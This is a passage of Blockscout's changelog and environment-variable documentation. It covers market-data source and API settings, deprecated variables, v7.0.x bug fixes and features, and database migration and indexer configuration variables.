| +| `DISABLE_MARKET` | Disables all fetchers and any market data displaying. Setting this to `true` will disable all market-related functionality. Implemented in [#11844](https://github.com/blockscout/blockscout/pull/11844). |

Version: v8.0.0+
Default: false
Applications: API, Indexer

| +| `MARKET_NATIVE_COIN_SOURCE` | Source for realtime native coin price fetching. Possible values are: `coin_gecko`, `coin_market_cap`, `crypto_rank`, or `mobula`. Useful when multiple coin IDs are configured and you want to explicitly select the source. Implemented in [#11844](https://github.com/blockscout/blockscout/pull/11844). |

Version: v8.0.0+
Default: coin_gecko
Applications: API

| +| `MARKET_SECONDARY_COIN_SOURCE` | Source for realtime secondary coin fetching. Possible values are: `coin_gecko`, `coin_market_cap`, `crypto_rank`, or `mobula`. Useful when multiple secondary coin IDs are configured. Implemented in [#11844](https://github.com/blockscout/blockscout/pull/11844). |

Version: v8.0.0+
Default: coin_gecko
Applications: API

| +| `MARKET_TOKENS_SOURCE` | Sets the source for tokens price fetching. Available values are `coin_gecko`, `crypto_rank`, `mobula`. Implemented in [#11844](https://github.com/blockscout/blockscout/pull/11844). |

Version: v8.0.0+
Default: coin_gecko
Applications: Indexer

| +| `MARKET_NATIVE_COIN_HISTORY_SOURCE` | Sets the source for price history fetching. Available values are `crypto_compare`, `coin_gecko`, `mobula`, `coin_market_cap` and `crypto_rank`. Implemented in [#11844](https://github.com/blockscout/blockscout/pull/11844). |

Version: v8.0.0+
Default: crypto_compare
Applications: Indexer

| +| `MARKET_SECONDARY_COIN_HISTORY_SOURCE` | Sets the source for secondary coin price history fetching. Available values are `crypto_compare`, `coin_gecko`, `mobula`, `coin_market_cap` and `crypto_rank`. Implemented in [#11844](https://github.com/blockscout/blockscout/pull/11844). |

Version: v8.0.0+
Default: crypto_compare
Applications: Indexer

| +| `MARKET_MARKET_CAP_HISTORY_SOURCE` | Sets the source for market cap history fetching. Available values are `coin_gecko` and `coin_market_cap`. Implemented in [#11844](https://github.com/blockscout/blockscout/pull/11844). |

Version: v8.0.0+
Default: coin_gecko
Applications: Indexer

| +| `MARKET_TVL_HISTORY_SOURCE` | Sets the source for TVL history fetching. Available value is `defillama`. Implemented in [#11844](https://github.com/blockscout/blockscout/pull/11844). |

Version: v8.0.0+
Default: defillama
Applications: Indexer

| +| `MARKET_COINGECKO_PLATFORM_ID` | [CoinGecko](https://www.coingecko.com/) platform id for which token prices are fetched, see full list in [`/asset_platforms`](https://api.coingecko.com/api/v3/asset_platforms) endpoint. Examples: "ethereum", "optimistic-ethereum". Implemented in [#11844](https://github.com/blockscout/blockscout/pull/11844). |

Version: v8.0.0+
Default: ethereum
Applications: Indexer

| +| `MARKET_COINGECKO_BASE_URL` | If set, overrides the Coingecko base URL. Implemented in [#11844](https://github.com/blockscout/blockscout/pull/11844). |

Version: v8.0.0+
Default: https://api.coingecko.com/api/v3
Applications: API, Indexer

| +| `MARKET_COINGECKO_BASE_PRO_URL` | If set, overrides the Coingecko Pro base URL. Implemented in [#11844](https://github.com/blockscout/blockscout/pull/11844). |

Version: v8.0.0+
Default: https://pro-api.coingecko.com/api/v3
Applications: API, Indexer

| +| `MARKET_COINGECKO_API_KEY` | CoinGecko API key. Implemented in [#11844](https://github.com/blockscout/blockscout/pull/11844). |

Version: v8.0.0+
Default: (empty)
Applications: API, Indexer

| +| `MARKET_COINGECKO_COIN_ID` | Sets CoinGecko coin ID. Implemented in [#11844](https://github.com/blockscout/blockscout/pull/11844). |

Version: v8.0.0+
Default: (empty)
Applications: API, Indexer

| +| `MARKET_COINGECKO_SECONDARY_COIN_ID` | Sets CoinGecko coin ID for secondary coin market chart. Implemented in [#11844](https://github.com/blockscout/blockscout/pull/11844). |

Version: v8.0.0+
Default: (empty)
Applications: API, Indexer

| +| `MARKET_COINMARKETCAP_BASE_URL` | If set, overrides the CoinMarketCap base URL (Free and Pro). Implemented in [#11844](https://github.com/blockscout/blockscout/pull/11844). |

Version: v8.0.0+
Default: https://pro-api.coinmarketcap.com/v2
Applications: API, Indexer

| +| `MARKET_COINMARKETCAP_API_KEY` | CoinMarketCap API key. Implemented in [#11844](https://github.com/blockscout/blockscout/pull/11844). |

Version: v8.0.0+
Default: (empty)
Applications: API, Indexer

| +| `MARKET_COINMARKETCAP_COIN_ID` | CoinMarketCap coin id. Implemented in [#11844](https://github.com/blockscout/blockscout/pull/11844). |

Version: v8.0.0+
Default: (empty)
Applications: API, Indexer

| +| `MARKET_COINMARKETCAP_SECONDARY_COIN_ID` | CoinMarketCap coin id for secondary coin. Implemented in [#11844](https://github.com/blockscout/blockscout/pull/11844). |

Version: v8.0.0+
Default: (empty)
Applications: API, Indexer

| +| `MARKET_CRYPTOCOMPARE_BASE_URL` | If set, overrides the CryptoCompare base URL. Implemented in [#11844](https://github.com/blockscout/blockscout/pull/11844). |

Version: v8.0.0+
Default: https://min-api.cryptocompare.com
Applications: API, Indexer

| +| `MARKET_CRYPTOCOMPARE_COIN_SYMBOL` | CryptoCompare coin symbol for native coin (e.g., "OP" for Optimism). CryptoCompare uses symbols instead of IDs. Implemented in [#11844](https://github.com/blockscout/blockscout/pull/11844). |

Version: v8.0.0+
Default: (empty)
Applications: Indexer

| +| `MARKET_CRYPTOCOMPARE_SECONDARY_COIN_SYMBOL`| CryptoCompare coin symbol for secondary coin market chart. Implemented in [#11844](https://github.com/blockscout/blockscout/pull/11844). |

Version: v8.0.0+
Default: (empty)
Applications: Indexer

| +| `MARKET_CRYPTORANK_PLATFORM_ID` | Sets Cryptorank platform ID. Implemented in [#11844](https://github.com/blockscout/blockscout/pull/11844). |

Version: v8.0.0+
Default: (empty)
Applications: Indexer

| +| `MARKET_CRYPTORANK_BASE_URL` | If set, overrides the Cryptorank API url. Implemented in [#11844](https://github.com/blockscout/blockscout/pull/11844). |

Version: v8.0.0+
Default: https://api.cryptorank.io/v1/
Applications: API, Indexer

| +| `MARKET_CRYPTORANK_API_KEY` | Cryptorank API key. Implemented in [#11844](https://github.com/blockscout/blockscout/pull/11844). |

Version: v8.0.0+
Default: (empty)
Applications: API, Indexer

| +| `MARKET_CRYPTORANK_COIN_ID` | Sets Cryptorank coin ID. Implemented in [#11844](https://github.com/blockscout/blockscout/pull/11844). |

Version: v8.0.0+
Default: (empty)
Applications: API, Indexer

| +| `MARKET_CRYPTORANK_SECONDARY_COIN_ID` | Sets Cryptorank coin ID for secondary coin. Implemented in [#11844](https://github.com/blockscout/blockscout/pull/11844). |

Version: v8.0.0+
Default: (empty)
Applications: API, Indexer

| +| `MARKET_DEFILLAMA_COIN_ID` | DefiLlama coin id. Use the `name` field from the `/v2/chains` endpoint response (e.g., "OP Mainnet" for Optimism). Implemented in [#11844](https://github.com/blockscout/blockscout/pull/11844). |

Version: v8.0.0+
Default: (empty)
Applications: Indexer

| +| `MARKET_MOBULA_PLATFORM_ID` | Mobula platform ID. Implemented in [#11844](https://github.com/blockscout/blockscout/pull/11844). |

Version: v8.0.0+
Default: (empty)
Applications: Indexer

| +| `MARKET_MOBULA_BASE_URL` | If set, overrides the Mobula API base URL. Implemented in [#11844](https://github.com/blockscout/blockscout/pull/11844). |

Version: v8.0.0+
Default: https://api.mobula.io/api/1
Applications: API, Indexer

| +| `MARKET_MOBULA_API_KEY` | Mobula API key. Implemented in [#11844](https://github.com/blockscout/blockscout/pull/11844). |

Version: v8.0.0+
Default: (empty)
Applications: API, Indexer

| +| `MARKET_MOBULA_COIN_ID` | Set Mobula coin ID. Implemented in [#11844](https://github.com/blockscout/blockscout/pull/11844). |

Version: v8.0.0+
Default: (empty)
Applications: API, Indexer

| +| `MARKET_MOBULA_SECONDARY_COIN_ID` | Set Mobula coin ID for secondary coin. Implemented in [#11844](https://github.com/blockscout/blockscout/pull/11844). |

Version: v8.0.0+
Default: (empty)
Applications: API, Indexer

| +| `MARKET_COIN_FETCHER_ENABLED` | If `false` disables fetching of realtime native coin price. Implemented in [#11844](https://github.com/blockscout/blockscout/pull/11844). |

Version: v8.0.0+
Default: true
Applications: API

| +| `MARKET_COIN_CACHE_PERIOD` | Cache period for coin exchange rates. Implemented in [#11844](https://github.com/blockscout/blockscout/pull/11844). |

Version: v8.0.0+
Default: 10m
Applications: API

| +| `MARKET_TOKENS_FETCHER_ENABLED` | If `false` disables fetching of token prices. Implemented in [#11844](https://github.com/blockscout/blockscout/pull/11844). |

Version: v8.0.0+
Default: true
Applications: Indexer

| +| `MARKET_TOKENS_INTERVAL` | Interval between batch requests of token prices. Can be decreased in order to fetch prices faster if you have pro rate limit. [Time format](backend-env-variables.md#time-format). Implemented in [#11844](https://github.com/blockscout/blockscout/pull/11844). |

Version: v8.0.0+
Default: 10s
Applications: Indexer

| +| `MARKET_TOKENS_REFETCH_INTERVAL` | Interval between refetching token prices, responsible for the relevance of prices. [Time format](backend-env-variables.md#time-format). Implemented in [#11844](https://github.com/blockscout/blockscout/pull/11844). |

Version: v8.0.0+
Default: 1h
Applications: Indexer

| +| `MARKET_TOKENS_MAX_BATCH_SIZE` | Batch size of a single token price request. Implemented in [#11844](https://github.com/blockscout/blockscout/pull/11844). |

Version: v8.0.0+
Default: 500
Applications: Indexer

| +| `MARKET_HISTORY_FETCHER_ENABLED` | If `false` disables fetching of marked data history. Implemented in [#11844](https://github.com/blockscout/blockscout/pull/11844). |

Version: v8.0.0+
Default: true
Applications: Indexer

| +| `MARKET_HISTORY_FIRST_FETCH_DAY_COUNT` | Initial number of days to fetch for market history. Implemented in [#11844](https://github.com/blockscout/blockscout/pull/11844). |

Version: v8.0.0+
Default: 365
Applications: Indexer

| + +### Deprecated ENV variables + +| Variable | Required | Description | Default | Version | Need recompile | Deprecated in Version | +| ----------------------------------------------------- | -------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------- | -------- | -------------- | --------------------- | +| `CACHE_ADDRESS_WITH_BALANCES_UPDATE_INTERVAL` | | Interval to restart the task which calculates addresses with balances. | 30m | v4.1.3+ | | v8.0.0 +| `HEALTHY_BLOCKS_PERIOD` | | New blocks indexed max delay in /health API endpoint. [Time format](env-variables.md#time-format). Implemented in [#2294](https://github.com/blockscout/blockscout/pull/2294/) | 5m | v2.0.2+ | | v8.0.0 | + +## 7.0.2 + +### ⚡ Performance + +- Logs list decoding: Accumulate ABI for unique address hashes ([#11967](https://github.com/blockscout/blockscout/pull/11967)) +- Logs list decoding: Use Sig provider microservice batched request ([#11956](https://github.com/blockscout/blockscout/issues/11956), [#11963](https://github.com/blockscout/blockscout/issues/11963)) +- Transactions list: Don't fetch revert reason for txs list ([#11935](https://github.com/blockscout/blockscout/issues/11935)) + +## 7.0.1 + +### 🐛 Bug Fixes + +- Show scam ENS in search ([#11933](https://github.com/blockscout/blockscout/issues/11933)) +- Show scam EOA in search ([#11932](https://github.com/blockscout/blockscout/issues/11932)) +- Replace unique filecoin addresses indexes with not unique ([#11905](https://github.com/blockscout/blockscout/issues/11905)) +- Render token transfers from celo epoch logs ([#11915](https://github.com/blockscout/blockscout/issues/11915)) + +## 7.0.0 + +### 🚀 Features + +- NFT collection trigger refetch Admin API endpoint ([#10263](https://github.com/blockscout/blockscout/issues/10263)) +- Improve NFT sanitizers ([#11543](https://github.com/blockscout/blockscout/issues/11543)) +- Add new endpoint /api/v2/proxy/account-abstraction/status ([#11784](https://github.com/blockscout/blockscout/issues/11784)) +- Adds support for NeonVM linked Solana transactions ([#11667](https://github.com/blockscout/blockscout/issues/11667)) ([#11736](https://github.com/blockscout/blockscout/issues/11736)) +- Enable /api/v2/internal-transactions endpoint ([#11792](https://github.com/blockscout/blockscout/issues/11792)) +- Integrate metadata tags to search ([#11719](https://github.com/blockscout/blockscout/issues/11719)) +- Add Arweave NFT image link parsing support ([#11565](https://github.com/blockscout/blockscout/issues/11565)) +- Disable re-verification from partial to partial match by default ([#11737](https://github.com/blockscout/blockscout/issues/11737)) +- DB Index heavy operations processing module ([#11604](https://github.com/blockscout/blockscout/issues/11604)) +- Multiple strategies for filecoin address info fetching ([#11412](https://github.com/blockscout/blockscout/issues/11412)) +- Preload NFT to token transfers ([#11756](https://github.com/blockscout/blockscout/issues/11756)) +- Add show_scam_tokens cookie ([#11747](https://github.com/blockscout/blockscout/issues/11747)) +- Add ENS and metadata preload to /api/v2/tokens/{hash}/instances ([#11760](https://github.com/blockscout/blockscout/issues/11760)) +- Return 200 on addresses which are not present in DB ([#11506](https://github.com/blockscout/blockscout/issues/11506)) +- Enhance txlistinternal API v1: make transaction hash and address hash not mandatory ([#11717](https://github.com/blockscout/blockscout/issues/11717)) +- Backfill for Arbitrum-specific information in blocks and transactions ([#11163](https://github.com/blockscout/blockscout/issues/11163)) +- Ignore events older than 24 hours in Explorer.Account.Notifier.… ([#11654](https://github.com/blockscout/blockscout/issues/11654)) +- Add timeout env for proxy metadata requests ([#11656](https://github.com/blockscout/blockscout/issues/11656)) +- Support filecoin addresses in search ([#11499](https://github.com/blockscout/blockscout/issues/11499)) +- Return error on verification if address is not a smart contract ([#11504](https://github.com/blockscout/blockscout/issues/11504)) + +### 🐛 Bug Fixes + +- Add BRIDGED_TOKENS_ENABLED to custom Gnosis chain docker images ([#11895](https://github.com/blockscout/blockscout/pull/11895)) +- Fix /verified-contracts in old UI ([#11854](https://github.com/blockscout/blockscout/pull/11854)) +- Cleanup token instance metadata on nft collection metadata refetch ([#11848](https://github.com/blockscout/blockscout/pull/11848)) +- Allow skip fiat_value in /api/v2/addresses/{hash}/tokens endpoint ([#11837](https://github.com/blockscout/blockscout/pull/11837)) +- Handle invalid BLACKFORT_VALIDATOR_API_URL ([#11812](https://github.com/blockscout/blockscout/issues/11812)) +- Fix scam addresses ban in quick search ([#11810](https://github.com/blockscout/blockscout/issues/11810)) +- Handle case when `epoch_distribution` is `nil` ([#11807](https://github.com/blockscout/blockscout/issues/11807)) +- Strict mode for timestamp to block number conversion ([#11633](https://github.com/blockscout/blockscout/issues/11633)) +- Don't store ipfs gateway in metadata ([#11673](https://github.com/blockscout/blockscout/issues/11673)) +- Use 0 as a default for v field in transactions ([#11800](https://github.com/blockscout/blockscout/issues/11800)) +- Fix tests ([#11805](https://github.com/blockscout/blockscout/issues/11805)) +- Use safe field access in CurrentTokenBalances.should_update?/2 ([#11804](https://github.com/blockscout/blockscout/issues/11804)) +- Run Neon tests on neon chain type only ([#11802](https://github.com/blockscout/blockscout/issues/11802)) +- Sanitize addresses of smart contracts having `verified` set to `false` ([#11727](https://github.com/blockscout/blockscout/issues/11727)) +- Celestia info parsing ([#11678](https://github.com/blockscout/blockscout/issues/11678)) +- `EIP1559ConfigUpdate` and `Indexer.Block.Realtime.Fetcher` fetchers were unstable for L2 reorgs, `brotli` lib was replaced ([#11714](https://github.com/blockscout/blockscout/issues/11714)) +- Add traceable blocks filtering to contract code fetcher ([#11700](https://github.com/blockscout/blockscout/issues/11700)) +- Improve token metadata update process ([#11710](https://github.com/blockscout/blockscout/issues/11710)) +- Add typeless handler for call_tracer ([#11766](https://github.com/blockscout/blockscout/issues/11766)) +- Add consensus filter to reindex internal transactions migration ([#11732](https://github.com/blockscout/blockscout/issues/11732)) +- Add error handling to chunked json rpc decode json ([#11734](https://github.com/blockscout/blockscout/issues/11734)) +- New methods submitting Arbitrum batches supported ([#11731](https://github.com/blockscout/blockscout/issues/11731)) +- Don't fail on pending transactions in Explorer.Account.Notifier.Notify ([#11724](https://github.com/blockscout/blockscout/issues/11724)) +- Add flat value to BoundInterval increase/decrease ([#11708](https://github.com/blockscout/blockscout/issues/11708)) +- Add missing condition to reindex internal transactions migration ([#11709](https://github.com/blockscout/blockscout/issues/11709)) +- Add 'yParity' alias ([#11642](https://github.com/blockscout/blockscout/issues/11642)) +- Fix address coin balances transformer ([#11627](https://github.com/blockscout/blockscout/issues/11627)) +- Improve session handling in account v2 ([#11420](https://github.com/blockscout/blockscout/issues/11420)) +- Add /metrics handler for indexer mode ([#11672](https://github.com/blockscout/blockscout/issues/11672)) +- Ease SQL query for EIP1559ConfigUpdate fetcher ([#11659](https://github.com/blockscout/blockscout/issues/11659)) +- Fix enoent in Indexer.NFTMediaHandler.Queue ([#11653](https://github.com/blockscout/blockscout/issues/11653)) +- Add function clause for wrong first trace result format ([#11655](https://github.com/blockscout/blockscout/issues/11655)) +- Intercept error during DB drop ([#11618](https://github.com/blockscout/blockscout/issues/11618)) +- Update EmptyBlocksSanitizer logic due to refetch_needed field ([#11660](https://github.com/blockscout/blockscout/issues/11660)) + +### 🚜 Refactor + +- All env variables related to DB migration processes now have "MIGRATION_" prefix ([#11798](https://github.com/blockscout/blockscout/issues/11798)) + +### ⚡ Performance + +- Smart contracts list query ([#11733](https://github.com/blockscout/blockscout/issues/11733)) + +### ⚙️ Miscellaneous Tasks + +- Runtime variable to manage chain spec processing delay ([#11874](https://github.com/blockscout/blockscout/pull/11874)) +- Replace composite id types usage ([#11861](https://github.com/blockscout/blockscout/pull/11861)) +- Correct the docker compose command for running an external frontend in README.md ([#11838](https://github.com/blockscout/blockscout/pull/11838)) +- Update link to the list of chains in README.md ([#11829](https://github.com/blockscout/blockscout/pull/11829)) +- Create /api/v2/proxy/3dparty/ root path for 3dparty proxy API endpoints ([#11808](https://github.com/blockscout/blockscout/issues/11808)) +- Mention WC Project ID in common-frontend.env ([#11799](https://github.com/blockscout/blockscout/issues/11799)) +- Remove api v1 health endpoints ([#11573](https://github.com/blockscout/blockscout/issues/11573)) +- Add env var for realtime fetcher polling period ([#11783](https://github.com/blockscout/blockscout/issues/11783)) +- Refactor composite keys filtering ([#11473](https://github.com/blockscout/blockscout/issues/11473)) +- Upsert token instances by batches ([#11685](https://github.com/blockscout/blockscout/issues/11685)) +- Fix spelling in some modules ([#11791](https://github.com/blockscout/blockscout/issues/11791)) +- Update Twitter URL to x.com format ([#11761](https://github.com/blockscout/blockscout/issues/11761)) +- Reduce the number of queries for token type ([#11674](https://github.com/blockscout/blockscout/issues/11674)) +- Increase verbosity of error logs in TokenInstanceMetadataRefetch ([#11758](https://github.com/blockscout/blockscout/issues/11758)) +- Support snake case in ImportController ([#11501](https://github.com/blockscout/blockscout/issues/11501)) +- Pass chain id to Transaction Interpretation service ([#11745](https://github.com/blockscout/blockscout/issues/11745)) +- Deprecating of CHECKSUM_FUNCTION variable ([#10480](https://github.com/blockscout/blockscout/issues/10480)) +- Arbitrum claiming enhancements ([#11552](https://github.com/blockscout/blockscout/issues/11552)) +- Fix text in the template and update localization files ([#11715](https://github.com/blockscout/blockscout/issues/11715)) +- Decrease catchup interval ([#11626](https://github.com/blockscout/blockscout/issues/11626)) + +### New ENV variables + +| Variable | Description | Parameters | +| --------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------- | +| `INDEXER_DISABLE_TOKEN_INSTANCE_REFETCH_FETCHER` | If `true`, the Token instance fetcher, which re-fetches NFT collections marked to refetch, doesn't run. Implemented in [#10263](https://github.com/blockscout/blockscout/pull/10263). |

Version: v7.0.0+
Default: false
Applications: Indexer

| +| `INDEXER_REALTIME_FETCHER_POLLING_PERIOD` | Period between polling the `latest` block in realtime fetcher. [Time format](backend-env-variables.md#time-format). Implemented in [#11783](https://github.com/blockscout/blockscout/pull/11783) |

Version: v7.0.0+
Default: (empty)
Applications: Indexer

| +| `MIGRATION_SHRINK_INTERNAL_TRANSACTIONS_BATCH_SIZE` | Batch size of the shrink internal transactions migration. _Note_: before release "v6.8.0", the default value was 1000. Implemented in [#10567](https://github.com/blockscout/blockscout/pull/10567), changed default value in [#10689](https://github.com/blockscout/blockscout/pull/10689). Renamed in [#11798](https://github.com/blockscout/blockscout/pull/11798). |

Version: v7.0.0+
Default: 100
Applications: API, Indexer

| +| `MIGRATION_SHRINK_INTERNAL_TRANSACTIONS_CONCURRENCY` | Concurrency of the shrink internal transactions migration. Implemented in [#10567](https://github.com/blockscout/blockscout/pull/10567). Renamed in [#11798](https://github.com/blockscout/blockscout/pull/11798). |

Version: v7.0.0+
Default: 10
Applications: API, Indexer

| +| `MIGRATION_TOKEN_INSTANCE_OWNER_CONCURRENCY` | Concurrency of new fields backfiller implemented in [#8386](https://github.com/blockscout/blockscout/pull/8386). Renamed in [#11798](https://github.com/blockscout/blockscout/pull/11798). |

Version: v7.0.0+
Default: 5
Applications: API, Indexer

| +| `MIGRATION_TOKEN_INSTANCE_OWNER_BATCH_SIZE` | Batch size of new fields backfiller implemented in [#8386](https://github.com/blockscout/blockscout/pull/8386). Renamed in [#11798](https://github.com/blockscout/blockscout/pull/11798). |

Version: v7.0.0+
Default: 50
Applications: API, Indexer

| +| `MIGRATION_TOKEN_INSTANCE_OWNER_ENABLED` | Enable of backfiller from [#8386](https://github.com/blockscout/blockscout/pull/8386) implemented in [#8752](https://github.com/blockscout/blockscout/pull/8752). Renamed in [#11798](https://github.com/blockscout/blockscout/pull/11798). |

Version: v7.0.0+
Default: false
Applications: API, Indexer

| +| `MIGRATION_TRANSACTIONS_TABLE_DENORMALIZATION_BATCH_SIZE` | Number of transactions to denormalize (add block timestamp and consensus) in the batch. Renamed in [#11798](https://github.com/blockscout/blockscout/pull/11798). |

Version: v7.0.0+
Default: 500
Applications: API, Indexer

| +| `MIGRATION_TRANSACTIONS_TABLE_DENORMALIZATION_CONCURRENCY` | Number of parallel denormalization transaction batches processing. Renamed in [#11798](https://github.com/blockscout/blockscout/pull/11798). |

Version: v7.0.0+
Default: 10
Applications: API, Indexer

| +| `MIGRATION_TOKEN_TRANSFER_TOKEN_TYPE_BATCH_SIZE` | Number of token transfers to denormalize (add token\_type) in the batch. Renamed in [#11798](https://github.com/blockscout/blockscout/pull/11798). |

Version: v7.0.0+
Default: 100
Applications: API, Indexer

| +| `MIGRATION_TOKEN_TRANSFER_TOKEN_TYPE_CONCURRENCY` | Number of parallel denormalization token transfer batches processing. Renamed in [#11798](https://github.com/blockscout/blockscout/pull/11798). |

Version: v7.0.0+
Default: 1
Applications: API, Indexer

| +| `MIGRATION_SANITIZE_INCORRECT_NFT_BATCH_SIZE` | Number of token transfers to sanitize in the batch. Renamed in [#11798](https://github.com/blockscout/blockscout/pull/11798). |

Version: v7.0.0+
Default: 100
Applications: API, Indexer

| +| `MIGRATION_SANITIZE_INCORRECT_NFT_CONCURRENCY` | Number of parallel sanitizing token transfer batches processing. Renamed in [#11798](https://github.com/blockscout/blockscout/pull/11798). |

Version: v7.0.0+
Default: 1
Applications: API, Indexer

| +| `MIGRATION_SANITIZE_INCORRECT_NFT_TIMEOUT` | Timeout between sanitizing token transfer batches processing. Implemented in [#11358](https://github.com/blockscout/blockscout/pull/11358). Renamed in [#11798](https://github.com/blockscout/blockscout/pull/11798). |

Version: v7.0.0+
Default: 0
Applications: API, Indexer

| +| `MIGRATION_SANITIZE_INCORRECT_WETH_BATCH_SIZE` | Number of token transfers to sanitize in the batch. Implemented in [#10134](https://github.com/blockscout/blockscout/pull/10134). Renamed in [#11798](https://github.com/blockscout/blockscout/pull/11798). |

Version: v7.0.0+
Default: 100
Applications: API, Indexer

| +| `MIGRATION_SANITIZE_INCORRECT_WETH_CONCURRENCY` | Number of parallel sanitizing token transfer batches processing. Implemented in [#10134](https://github.com/blockscout/blockscout/pull/10134). Renamed in [#11798](https://github.com/blockscout/blockscout/pull/11798). |

Version: v7.0.0+
Default: 1
Applications: API, Indexer

| +| `MIGRATION_SANITIZE_INCORRECT_WETH_TIMEOUT` | Timeout between sanitizing token transfer batches processing. Implemented in [#11358](https://github.com/blockscout/blockscout/pull/11358). Renamed in [#11798](https://github.com/blockscout/blockscout/pull/11798). |

Version: v7.0.0+
Default: 0
Applications: API, Indexer

| +| `MIGRATION_REINDEX_INTERNAL_TRANSACTIONS_STATUS_BATCH_SIZE` | Number of internal transactions to reindex in the batch. Implemented in [#11358](https://github.com/blockscout/blockscout/pull/11358). Renamed in [#11798](https://github.com/blockscout/blockscout/pull/11798). |

Version: v7.0.0+
Default: 100
Applications: API, Indexer

| +| `MIGRATION_REINDEX_INTERNAL_TRANSACTIONS_STATUS_CONCURRENCY` | Number of parallel reindexing internal transaction batches processing. Implemented in [#11358](https://github.com/blockscout/blockscout/pull/11358). Renamed in [#11798](https://github.com/blockscout/blockscout/pull/11798). |

Version: v7.0.0+
Default: 1
Applications: API, Indexer

| +| `MIGRATION_REINDEX_INTERNAL_TRANSACTIONS_STATUS_TIMEOUT` | Timeout between reindexing internal transaction batches processing. Implemented in [#11358](https://github.com/blockscout/blockscout/pull/11358). Renamed in [#11798](https://github.com/blockscout/blockscout/pull/11798). |

Version: v7.0.0+
Default: 0
Applications: API, Indexer

| +| `MIGRATION_SANITIZE_VERIFIED_ADDRESSES_DISABLED` | Concurrency of the sanitize verified addresses migration. Implemented in [#11727](https://github.com/blockscout/blockscout/pull/11727). |

Version: v7.0.0+
Default: false
Applications: API, Indexer

| +| `MIGRATION_SANITIZE_VERIFIED_ADDRESSES_BATCH_SIZE` | Concurrency of the sanitize verified addresses migration. Implemented in [#11727](https://github.com/blockscout/blockscout/pull/11727). |

Version: v7.0.0+
Default: 500
Applications: API, Indexer

| +| `MIGRATION_SANITIZE_VERIFIED_ADDRESSES_CONCURRENCY` | Concurrency of the sanitize verified addresses migration. Implemented in [#11727](https://github.com/blockscout/blockscout/pull/11727). |

Version: v7.0.0+
Default: 1
Applications: API, Indexer

| +| `MIGRATION_SANITIZE_VERIFIED_ADDRESSES_TIMEOUT` | Timeout between batches processing in sanitize verified addresses migration. [Time format](backend-env-variables.md#time-format). Implemented in [#11727](https://github.com/blockscout/blockscout/pull/11727). |

Version: v7.0.0+
Default: 0s
Applications: API, Indexer

| +| `MIGRATION_HEAVY_INDEX_OPERATIONS_CHECK_INTERVAL` | Interval between status checks of heavy db operation like index creation or dropping. [Time format](backend-env-variables.md#time-format). Implemented in [#11604](https://github.com/blockscout/blockscout/pull/11604) |

Version: v7.0.0+
Default: 10m
Applications: API, Indexer

| +| `MIGRATION_TOKEN_INSTANCE_ERC_1155_SANITIZE_CONCURRENCY` | Concurrency for `erc-1155-sanitize` token instance fetcher. Implemented in [#9226](https://github.com/blockscout/blockscout/pull/9226). Default value and name changed in [#11543](https://github.com/blockscout/blockscout/pull/11543) |

Version: v7.0.0+
Default: 1
Applications: Indexer

| +| `MIGRATION_TOKEN_INSTANCE_ERC_721_SANITIZE_CONCURRENCY` | Concurrency for `erc-721-sanitize` token instance fetcher. Implemented in [#9226](https://github.com/blockscout/blockscout/pull/9226). Name changed in [#11543](https://github.com/blockscout/blockscout/pull/11543) |

Version: v7.0.0+
Default: 2
Applications: Indexer

| +| `MIGRATION_TOKEN_INSTANCE_ERC_1155_SANITIZE_BATCH_SIZE` | Batch size for `erc-1155-sanitize` token instance fetcher. Implemented in [#9226](https://github.com/blockscout/blockscout/pull/9226). Default value and name changed in [#11543](https://github.com/blockscout/blockscout/pull/11543) |

Version: v7.0.0+
Default: 500
Applications: Indexer

| +| `MIGRATION_TOKEN_INSTANCE_ERC_721_SANITIZE_BATCH_SIZE` | Batch size for `erc-721-sanitize` token instance fetcher. Implemented in [#9226](https://github.com/blockscout/blockscout/pull/9226). Default value and name changed in [#11543](https://github.com/blockscout/blockscout/pull/11543) |

Version: v7.0.0+
Default: 50
Applications: Indexer

| +| `MIGRATION_TOKEN_INSTANCE_ERC_721_SANITIZE_TOKENS_BATCH_SIZE`| Tokens batch size for `erc-721-sanitize` token instance fetcher. Implemented in [#9226](https://github.com/blockscout/blockscout/pull/9226). Name changed in [#11543](https://github.com/blockscout/blockscout/pull/11543) |

Version: v7.0.0+
Default: 100
Applications: Indexer

| +| `CONTRACT_ENABLE_PARTIAL_REVERIFICATION` | Toggle for enabling re-verification from partial to partial match. Implemented in [#11737](https://github.com/blockscout/blockscout/pull/11737) |

Version: v7.0.0+
Default: false
Applications: API

| +| `INDEXER_ARBITRUM_DATA_BACKFILL_ENABLED` | Enables a process to backfill the blocks and transaction with Arbitrum specific data. This should only be enabled for Arbitrum chains where blocks were indexed before upgrading to a version that includes Arbitrum-specific data indexing features. Implemented in [#11163](https://github.com/blockscout/blockscout/pull/11163). |

Version: v7.0.0+
Default: false
Applications: Indexer

| +| `INDEXER_ARBITRUM_DATA_BACKFILL_UNINDEXED_BLOCKS_RECHECK_INTERVAL` | The number of L2 blocks to look back in one iteration of the backfill process. Implemented in [#11163](https://github.com/blockscout/blockscout/pull/11163). |

Version: v7.0.0+
Default: 120s
Applications: Indexer

| +| `INDEXER_ARBITRUM_DATA_BACKFILL_BLOCKS_DEPTH` | Interval to retry the backfill task for unindexed blocks. Implemented in [#11163](https://github.com/blockscout/blockscout/pull/11163). |

Version: v7.0.0+
Default: 500
Applications: Indexer

| +| `MIGRATION_ARBITRUM_DA_RECORDS_NORMALIZATION_BATCH_SIZE` | Specifies the number of address records processed per batch during normalization of batch-to-blob associations by moving them from arbitrum_da_multi_purpose to a dedicated arbitrum_batches_to_da_blobs table. Implemented in [#11798](https://github.com/blockscout/blockscout/pull/11798). |

Version: v7.0.0+
Default: 500
Applications: Indexer

| +| `MIGRATION_ARBITRUM_DA_RECORDS_NORMALIZATION_CONCURRENCY` | Specifies the number of concurrent processes used during normalization of batch-to-blob associations by moving them from arbitrum_da_multi_purpose to a dedicated arbitrum_batches_to_da_blobs table. Implemented in [#11798](https://github.com/blockscout/blockscout/pull/11798). |

Version: v7.0.0+
Default: 1
Applications: Indexer

| +| `FILFOX_API_BASE_URL` | [Filfox API](https://filfox.info/api/v1/docs/static/index.html) base URL. Implemented in [#11412](https://github.com/blockscout/blockscout/pull/11412). |

Version: v7.0.0+
Default: https://filfox.info/api/v1
Applications: Indexer

